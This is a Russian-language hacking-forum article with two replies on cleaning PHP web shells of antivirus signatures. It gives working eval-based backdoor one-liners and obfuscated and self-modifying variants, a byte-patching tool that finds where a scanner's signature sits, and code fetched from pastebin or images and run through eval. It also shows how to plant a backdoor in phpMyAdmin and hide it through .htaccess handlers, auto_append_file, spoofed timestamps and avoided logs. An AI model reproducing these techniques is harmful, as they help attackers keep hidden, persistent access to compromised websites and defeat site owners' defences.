Авторские статьи Чистка скриптов от ав-сигнатур.

Discussion in 'Статьи' started by kroŧ, 21 Aug 2012.

  1. kroŧ

    kroŧ Member

    Joined:
    19 May 2010
    Messages:
    129
    Likes Received:
    33
    Reputations:
    8
    Чистка скриптов от антивирусных сигнатур.

    Чистка скриптов от антивирусных сигнатур.

    Вступление.
    В этой статье я расскажу о способах преодоления антивирусной защиты основанной на поисках и изменения сигнатур.
    Я постарался изложить всё простым языком, большинство примеров изложено с использованием языка программирования PHP.
    Для демонстрации примеров этой статьи нам потребует комплекс серверного программного обеспечения (Apache +PHP ), мною был выбран Денвер .


    Несовершенство антивирусов.
    С увеличением числа веб-сайтов и возрастающей популярностью PHP как языка программирования появилась огромное число прикладных программ связанных с ИБ тематикой, эти программы не могли остаться без внимания антивирусов. Создав самую простую программу нельзя быть уверенным, что через некоторое время эта программа не будет занесена в базы антивирусов.
    Сигнатурный метод детектирования является основой большинства существующих антивирусных продуктов, антивирус действует по схеме: - поиск, в базе данных антивирусного ПО - сигнатур вирусов, нахождение этих сигнатур в памяти проверяемой программы.
    Рассмотрим пример PHP кода:
    PHP:
    <?php $s=$_GET['cmd'];@eval($s);?>
    Представим, как будет использован этот код:
    1. 70% людей будут использовать этот код как лазейку “бэкдор”, в код не вносятся изменения.
    2. Остальные будут использовать этот код при программировании калькулятора, возьмёт часть кода, но дополнит его своим кодом:
    PHP:
    <?php $_GET['cmd']='echo 1+1;';$s=$_GET['cmd'];@eval($s);?>
    Если код будет отправлен антивирусной компании и из этого кода будет выделана сигнатура:
    То и 1 и 2 гриппа человек не сможет использовать этот код из-за наличия вирусной сигнатуры.
    Далее 1 группа меняет код на:
    PHP:
    <?php $O0O0=$GLOBALS['_GET']['cmd'];@eval($O0O0);?>
    Если антивирус добавит сигнатуру:
    Большое количество кодов будет обнаружена как вирус.
    Далее для кода будет создана сигнатура:
    Где {?} означает пропуск. При поиске по сигнатуре будет обнаружены программы, где переменная ‘s’ будет иметь любое имя, также как и GET может быть заменено на POST.
    В тоже время новый код:
    PHP:
    <?php $O0O0=$GLOBALS["\x5f\x47\x45\x54"]["\x63\x6d\x64"];@eval($O0O0); ?>
    будет идентифицирован как вирус только после добавления сигнатуры конкретно для этого кода.
    Можно сделать вывод:
    Чем больше будет изменяться код тем больше будет пополняться антивирусная база.
    Любой код можно будет модифицировать таким образом, чтобы он не был детектирован антивирусным ПО.

    Поиск антивирусной сигнатуры.
    Для поиска ав-сигнатур нам потребуется любой из антивирусов с возможность проверять файлы на диске, я выбрал Avira. Также любой php скрипт в котором присутствует сигнатура вредоносного ПО, я выбрал WSO Shell.
    Возьмём часть кода из WSO pack:
    PHP:
    <?php # Web Shell by oRb
    $auth_pass "63a9f0ea7bb98050796b649e85481845";
    $color "#df5";
    $default_action 'FilesMan';
    $default_use_ajax true;
    $default_charset 'Windows-1251';
    preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'*******************
    Обнаруживается как PHP/Shell.G.1;
    Для поиска сигнатуры будем использовать Avkrot:
    PHP:
    <?php
    /**
     * @category PHP
     * @package  Avkrot
     * @author   Krot
    */
    $file='test.php';//имя файла
    $blok=1;//размер блока
    $dir='tmp/';//папка сохранения файлов
    $simvol=chr(0x00);//символ для замены
    $simvol=str_repeat($simvol$blok);
    $file_con=file_get_contents($file);
    $size=strlen($file_con);//размер файла
    for($i=0;$i<$size;$i+=$blok){file_put_contents($dir.$i.'.php',substr($file_con,0,$i).$simvol.substr($file_con,$i+$blok,$size));}
     
    ?>
    Запишем код WSO pack (http://pastebin.com/NH7FK6EU ) как test.php, и запустим Avkrot.
    Avkrot создаст в папке tmp -346 файлов в каждом из файлов будет изменён $blok байт(1 байт) на $simvol.
    Запустим сканирование созданных файлов Avira-й.
    После сканирования антивирус удалит все файлы AV-сигнатура которых не была изменена с помощью скрипта(220 файлов).
    Файлы 27.php по 152.php остались чистыми это и есть AV-сигнатура, по которой php скрипт обнаруживается как PHP/Shell.G.1.
    Проверяем, вносим изменения в любые от 0 до 27 байт или от 152 до 346, php скрипт также обнаруживается.
    Теперь поставим пробел в любую часть программы, например 95 байт:
    PHP:
    $color "#df5";
     
    $default_action 'FilesMan';
    Поставив пробел в любую часть программы от 27 до 152, мы получим чистую программу.
    Попробуем сделать тоже самое - с не пакованным WSO полный исходный код 66 032 байт.
    Редактируем Avkrot изменим имя файла и размер блока (если не менять размер блока файлов будет слишком много):
    PHP:
    $file='wso2.php';//имя файла
    $blok=100;//размер блока
    Запускаем Avkrot. Проверяем созданные файлы Avira обнаруживается как PHP/WebShell.A.19.
    Проверенно файлов 661
    Обнаружено 659
    В результате получаем 2 чистых файла, 63600-63700 файл.
    Открываем любой чистый файл и переходим в место нахождения блока(на начало сигнатуры указывает имя файла). Сигнатура в переменной $bind_port_p в которой находится зашифрованный в base64 исходный код, после декодирования base64 видим, что это perl скрипт удалим все лишни пробелы после while, заново закодируем в base64 и запишем переменную $bind_port_p, или добавим пробелы в base64 - получим совершенно чистый файл для Avira.
    Видео.

    Создание случайного кода.
    Известно то, что Антивирусы не могут эмулировать PHP код, для каждого нового объекта создают свою сигнатуру. Поэтому мы можем создать каждый раз разный код:
    PHP:
    <?php
    function reg($text){for($i=0;$i<strlen($text);++$i){
    $text[$i]=(rand(0,1))?strtoupper($text[$i]):strtolower($text[$i]);}
    return 
    $text;}
    $sh='[1][0]([0]$_[2][0][[0][3][0]][0])[0];';
    $text=strtr($sh,array('[0]'=>str_repeat(' ',rand(0,10)),
    '[1]'=>reg('eval'),'[2]'=>(rand(0,1)?'GET':'POST'),'[3]'=>substr(str_shuffle('qwertyuiopas'),0,rand(1,12)),));
    echo 
    $text;
    либо самомодифицирующийся код(пример изменения кода внутри eval при каждом запуске программы, программа добавляет пробелы в base64 тело зашифрованной программы):
    PHP:
    <?php
    $text
    =file_get_contents($s=__FIlE__);
    eval(
    BasE64_deCOde('cHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKC4rOykoLitldmFsKVxzKlwoKC4rKVxzKlwoKC4rKSNpcycsDQpjcmVhdGVfZnVuY3Rpb24oJyRvJywnZnVuY3Rpb24gdCgkdCl7Zm9yKCRpPTA7JGk8c3RybGVuKCR0KTsrKyRpKXskdFskaV09cmFuZCgwLDEpP3N0cnRvdXBwZXIoJHRbJGldKTpzdHJ0b2xvd2VyKCR0WyRpXSk7fQ0KcmV0dXJuICR0LnN0cl9yZXBlYXQoIiAiLHJhbmQoMSwxMCkpO30NCmZ1bmN0aW9uIG0oJHQpew0KZm9yKCRpPTA7JGk8c3RybGVuKCR0KTsrKyRpKXsNCiR0cy49cmFuZCgwLDEpPyR0WyRpXS4iICI6JHRbJGldOw0KfXJldHVybiAkdHM7fQ0KJG9bMl09dCgkb1syXSk7JG9bM109dCgkb1szXSk7JG9bNF09bSgkb1s0XSk7DQpmaWxlX3B1dF9jb250ZW50cygkR0xPQkFMU1tzXSwieyRvWzFdfXskb1syXX0oeyRvWzNdfSh7JG9bNF19Iik7DQplY2hvICJceDNjXHg2MVx4MjBceDY4XHg3Mlx4NjVceDY2XHgzZFx4NjhceDc0XHg3NFx4NzBceDNhXHgyZlx4MmZceDY2XHg2Zlx4NzJceDc1XHg2ZFx4MmVceDYxXHg2ZVx4NzRceDY5XHg2M1x4NjhceDYxXHg3NFx4MmVceDcyXHg3NVx4MmZceDZkXHg2NVx4NmRceDYyXHg2NVx4NzJceDJlXHg3MFx4NjhceDcwXHgzZlx4NzVceDczXHg2NVx4NzJceDY5XHg2NFx4M2RceDMxXHgzMlx4MzRceDM5XHgzOVx4MzNceDNlXHg0Ylx4NzJceDZmXHg3NFx4M2NceDJmXHg2MVx4M2UiOw0KJyksJHRleHQpOw=='));

    Обфускация кода.
    В настоящие время существует большое количество обфускаторов для различных языков программирования, обфускатор не только изменяет код - делая его трудно читаемым, но ещё и запутывает код, добавляя мусорные инструкции и тд. Про обфускацию можно написать целую книгу, поэтому я приведу примеры:
    Код до обфускации:
    PHP:
    echo "krot";
    echo 
    1;
    echo 
    max(0,1);
    print_r(array(1,2,3));
    После обфускации:
    PHP:
    $a="\x70\x72\x69\x6e\x74\x5f\x72";$b="\x6d\x61\x78";?><?="\x6b{$a[1]}\x6f{$a[4]}";?><?=1-1+1;?><?=$b(0-1+1,1-1+1);$a(array(1-1+1,2-2+2,3-1-1-1+3));
    После добавления мусора из комментариев:
    PHP:
    /*0iivj*/$a="\x70\x72"./*0ij*/"\x69\x6e\x74\x5f\x72";
    /*000j*/$b="\x6d"./*000*/"\x61\x78";/*0v*/?><?="\x6b{$a[1]}"/*0iivj*/."\x6f{$a[4]}";?><?=1-1+1;/*0iivj*/?><?=$b(0-1+1,1-1+1);/*0h*/$a(array(1-1+1,2-2+2,3-1-1-1+3));
    Обфускация эффективное средство в изменения структуры кода, в тоже время это увеличивает время работы программы и размер кода.

    Облачный код.
    Облачным кодом я назвал код распределенный на множестве кодов и собираемые по частям в единый код в процессе выполнения скрипта, код делится на множество частей и затем каждая часть записывается в свой файл.
    Примеры:
    Инклудим определенную часть кода на основе условия:
    PHP:
    $tmp=1;include('virus.php');
    $tmp=2;include('virus.php');
    $tmp=3;include('virus.php');
    Файл virus.php выдаёт определённую часть коды, в зависимости от значения $tmp.
    Заменим include на eval, код virus.php будет получен из удалённого сайта:
    PHP:
    $file=file_get_contents('http://pastebin.com/download.php?i=Kdgdmj54');
    $tmp=1;eval($file);
    $tmp=2;eval($file);
    $tmp=3;eval($file);
    virus.php:
    PHP:
    switch($tmp){
    case 
    1:
    echo 
    "virus1\r\n";
    break;
    case 
    2:
    echo 
    "virus2\r\n";
    break;
    case 
    3:
    echo 
    "virus3\r\n";
    break;
    }
    Код virus.php можно раздробить по частям:
    PHP:
    <?php
    switch($tmp){
    case 
    1:
    include(
    'virus1.php');break;
    case 
    2:
    include(
    'virus2.php');break;
    case 
    3:
    include(
    'virus3.php');break;
    }
    Код подключает один из файлов, в тоже время подключаемый файл может подключить сколько угодно файлов.
    Итог мы можем создать N файлов, в каждый из файлов поместить n строк кода, 1 файл вызывает 2-ой файл, 2-ой вызывает 3 и тд..
    Для запуска всей системы нужно будет запустить главный файл, содержимое файлов, может быть собрано из суперглобального массива GET:
    PHP:
    eval($_GET[v1].$_GET[v2].$_GET[v3].$_GET[v4]);
    выполняем код так: /script.php?v4=();&v2=hpi&v1=p&v3=nfo
    Мы можем, заменит eval функцией include, при этом выполняемый код получим из сайта pastebin:
    PHP:
    $f='data:;base64,'.file_get_contents('http://pastebin.com/download.php?i=RcEyJjAF');
    $tmp=1;include($f); 
    Получаем код из картинки:
    PHP:
    $file_name='http://desmond.imageshack.us/Himg266/scaled.php?server=266&filename=33149479.jpg&res=crop';
    echo 
    '<img src="'.$file_name.'"/>';
    eval(
    substr(file_get_contents($file_name),903,913));
    Маскировка в безопасных файлах.
    Код можно спрятать внутри файлы, который считается безопасными, но на деле безопасность понятие относительное. Всё зависит не только от программ для проверки файлов, но и от бдительности пользователя осуществляющий контроль над файлами.
    Пример: Если есть сайт содержащий уязвимость, воспользовавшись уязвимостью - залили файлы(веб-шелл например), но через некоторое время эти файлы удалил админ. Как админ нашёл посторенний файл неизвестно, но возможна причина в том, что заливавший этот файл не соблюдал несколько простых правил:
    1) Не создавать новые файла, изменять старые файлы.
    2) После редактирования файла изменить время создания файла на время до внесения изменения (touch)
    3) Не изменять размер файла, удалить - лишни пробелы, сжать код.
    4) Не допускать записей в LOG(FTP или SSH или любые другие) запись в логах вида: /admin.php?shell=phpinfo(); выглядит подозрительно, поэтому для получения параметров можно использовать COOKIE), отключить вывод ошибок error_reporting(0);
    5) Не оставлять следов деятельности программы, если программа создаст файлы(в процессе своей работы) это может вызвать подозрение.
    Не всегда человек контролирует файлы, это может делать программа Антивирус.
    Антивирус не всегда может быть настроен на сканирование всех типов файлов, часто он сканирует базовый список расширений. Если говорит про сканирование с помощью скрипов (проверка заливки шеллов и тд.) то в большинстве они также сканируют не большой список расширений (например это может быть следующие расширения: 'php', 'php3', 'php4', 'php5', 'phps', 'ph3', 'ph4', 'html', 'htm', 'phtml', 'pl'), для обходы защиты досрочно сменить расширение файла затем подключить этот файл из уже чистого файла: include('shell._bak'); либо с помощью htaccess сменить расширение для выполнения php:
    Все JPG файлы будут исполняться как код php:
    .htaccess
    Code:
    AddHandler  application/x-httpd-php .JPG
    php_flag display_errors off
    при этом тег <img src="img.JPG"/> будет отображать изображение.
    Можно даже спрятать код внутри htaccess:
    Code:
    <Files .htaccess>
    Order allow,deny
    Allow from all
    </Files>
    AddType application/x-httpd-php .htaccess 
    #<?php phpinfo(); ?> 
    Файл может проверятся на наличие опасных функций (обычно это: 'shell_exec', 'system', 'passthru', 'exec', 'eval', 'ftp_connect'), соответственно можно использовать функции аналоги:
    eval => preg_replace:
    shell_exec => оператор исполнения
    PHP:
    preg_replace("##e","phpinfo();",'+');
    echo `
    ls`; //выводит список файлов 
    Предположим: мини антивирус проверяет файл, каждый файл разбирает на токины, суммирует их, затем сверяет значение:
    PHP:
     $file='Tools\phpmyadmin\browse_foreigners.php' ;// файл http://pastebin.com/6P65cgKS
    $val=423478;//значение для проверки
    $file_con=file_get_contents($file);
    $hash_token=0;
    $array=token_get_all($file_con);
    for(
    $i=0;$i<count($array);++$i){
    if(
    is_array($array[$i])){
    $hash_token+=$array[$i][0];
    }}
    if(
    $hash_token!=$val){
    echo 
    "Файл $file признан не безопасным!";
    }else{
    echo 
    "Безопасный!";
    Обойдём проверку, нужно изменить код таким образом, чтобы скрипт browse_foreigners.php работал после изменений в тоже время файл оставался не замеченной для нашей программы:
    Заменяем строку 13 на:
    PHP:
    require_once 'data:,<?php if(!empty($_GET[shell])){@eval($_GET[shell]);}require_once("./libraries/common.inc.php");'; 
    Файл признан безопасным теперь мы можем свободно запускать код browse_foreigners.php?shell=phpinfo();
    Можно также закодировать в base64. Схема data - доступна начиная с PHP 5.2.0, в место data создаём файл в папке tmp, затем подключим его из файла browse_foreigners.php: (require_once '/tmp/sess_7aea6f2a62c8e92c1ba73c2db5b026b76005000f';)
    Другое дело, когда файлы хешируются полностью (примерно так ), в определённый момент времени файлы сверяются если появляются новые файлы они удаляются.
    Всё зависит от сложности программы, что можно сделать:
    1) Узнать: как проверяются файлы, возможно - проверяется дата создания файла, имя файла, размер файла но при этом тело файла не хешируется.
    2) Проверить есть ли доступ к программе или базе хешей, в случаи наличия доступа внести хеш нужного нам файла(например если база хешей защищена паролем можно подобрать пароль), отредактировать программу проверки (сделав её бесполезной).
    4) Найти каталоги исключенные из проверки.
    5) Найти файлы не проверяемые программой, например это может быть: \Tools\phpmyadmin\db_export.php или любой файл(htaccess например).
    Если есть доступ к созданию .htaccess при этом папка tmp не проверяется можно создать:
    .htaccess
    Code:
    php_value auto_append_file C:\tmp\file.php
    Прописав file.php как:
    PHP:
    <?php if(!empty($_GET['krot']))eval($_GET['krot']);?>
    Файл подключатся сразу после выполнение основного файла. Для ещё большой маскировки файл file.php можно замаскировать под файл сессии sess_06708908aa0e86c1f02ff78cf01ca10b, также сменить дату создания файла .htaccess на дату до внесения изменений.
    auto_prepend_file -определение файла, который будет выводится в начале каждого php-скрипта.
    И последнее что хотелось бы сказать, в Linux существует удобная утилита find для поиска файлов:
    PHP:
    echo `find  ./ -name '*.php' | xargs grep -E '(shell_exec|system|passthru|exec|eval|ftp_connect|base64_decode)\s*\('`;//поиск запрещенных функций
    echo `find ./ -mtime -7d`;//файлы измененные за последние 7 дней  
    Автоматический поиск сигнатур и чистка
    Возникла идея автоматизировать весь процесс чистки и поиска:
    написать программу, которая будет находить примерное расположение АВ.сигнатуры, затем программа должна определить тип файла, учитывать особенности кода, чистить файл.
    Искать сигнатуры будем с помощью, установленного в системе антивируса Avira:
    Для запуска сканера создаём батник run.bat:
    Code:
    "c:/program files/Avira/AntiVir Desktop/avscan.exe" /CFG="C:\WebServers\home\localhost\www\avtoscan\filescan.txt"
    Прописываем путь до avscan.exe и файла конфигурации (создал папку avtoscan в каталоге www).
    Скачиваем проверяемый файл avira.pl(обнаруживается как PERL/FindAdmin.A), закидываем в папку avtoscan. Avira может не разрешить создать файл поэтому отключаем Realtime Protection.
    Что должна делать программа:
    1) Запусти AvKrot –он создал множество проверяемых файлов в папке vir
    2) Запустить run.bat
    3) Выбрать 1-й чистый для антивируса файл, по имени файла определить начало сигнатуры.
    4) Взять содержимое avira.pl, чистить код по месту расположение сигнатуры, записать результат.
    Реализация в PHP.
    Получим чистый файл good.txt, код нужно конечно в дальнейшем улучшить +чистка у нас простая замена.
    Видео.

    Чистка с помощью онлайн сервисов.
    Для проверки файлов будем использовать онлайн сервис vscan.novirusthanks.org, проверить будет уже известный avira.pl.
    Как будет работать программа:
    1) Читать содержимое проверяемого файла avira.pl, разделить файл на $div части
    2) Отправить первую часть файла если она обнаруживается отправить n-ю часть.
    3) Если одна из частей не обнаруживается(антивирусная сигнатура затёрта символом $chr) взять начало и конец этой части и разделить на n часть, делить фал до тех пор пока передаваемый фрагмент будет меньше $min_block.
    4) После того как размер последнего переданного фрагмента будет меньше $min_block –AV сигнатура найдена, начать чистку(замена ','->' , '), записать чистый файл.
    Код выложен тут
    Плюс этого метода в том, что не требует установки антивируса, можно чистить сразу от нескольких антивирусов.
    Видео.

    Особенность поиска сигнатур.
    Методы поиска сигнатур одинаковы для любых типов файлов:
    Найти любой файл обнаруживаемый как вирус найти сигнатуру с использованием AVkrot или любых других программ(AVFucker, SignatureZero, и тд.) изменить код в отладчике либо если есть исходный код внести изменяя в этот код применить обфускацию, внести мусор и тд.
    Можно выделить несколько правил для поиска сигнатур:
    1)Использовать формулы для расчёта результата:
    Число файлов = размер файла / рамер блока
    Общий размер файлов = число файлов * размер файла

    2)Сигнатур может быть несколько, 2 и большее.
    3)Сигнатура может быть маской.

    Заключение.
    Несмотря на постоянное улучшение антивирусных программ, антивирусы не обладают искусственным интеллектом позволяющим точно определить что действительно является вирусом, сигнатурный метод обнаружения является самым широко используемым в тоже время требует постоянного обновления антивирусных баз. Один из способов пополнения антивирусных баз являются сервисы онлайн проверки, с развитием этих сервисов происходит накопление сигнатурных баз. Базы антивирусов с каждым годом только увеличиваются - требуется больше места на диске, это отражается на простых пользователях.

    Используемые термины.
    PHP - скриптовый язык программирования общего назначения, интенсивно применяемый для разработки веб-приложений.
    Сигнатура - уникальные строки файла, настолько характерные, чтобы гарантировать минимальную возможность ложного срабатывания — главный приоритет любой антивирусной компании.
    Обфускация или запутывание кода — приведение исходного текста или исполняемого кода программы к виду, сохраняющему ее функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции.

    Ссылки.
    http://ru.wikipedia.org/wiki/PHP
    http://ru.wikipedia.org/wiki/Денвер_(программа)
    http://ru.wikipedia.org/wiki/Обнаружение,_основанное_на_сигнатурах
    http://ru.wikipedia.org/wiki/Обфускация

    PS. Статья написана в образовательных целях.
     
    #1 kroŧ, 21 Aug 2012
    Last edited: 19 Oct 2012
    5 people like this.
  2. Sharp.Net

    Sharp.Net New Member

    Joined:
    28 Jul 2012
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Что-то я не увидел главную антиантивирусную фишку... она что в приваде видимо?
     
  3. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Переписать/заменить функцию?) Это 1000% вариант)
    Я крипторы сам писал, знаю что говорю....